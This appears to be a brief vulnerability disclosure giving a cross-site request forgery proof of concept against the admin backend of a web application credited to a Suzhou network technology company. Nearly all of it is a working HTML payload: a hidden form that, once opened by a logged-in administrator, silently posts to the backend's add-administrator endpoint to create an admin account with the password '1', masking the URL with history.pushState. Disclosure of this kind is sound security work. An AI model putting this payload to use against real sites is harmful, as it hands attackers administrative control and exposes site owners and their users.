CSRF

After the administrator logged in, open the following  page
poc：
/backend/user/admin/add.html  -------- add administrator


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.10.39:8080/backend/user/admin/add.html" method="POST">
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="password" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# SUZHOU RU YIYUN LNTELLIGENT NETWORK TECHNOLOGY CO.,LTD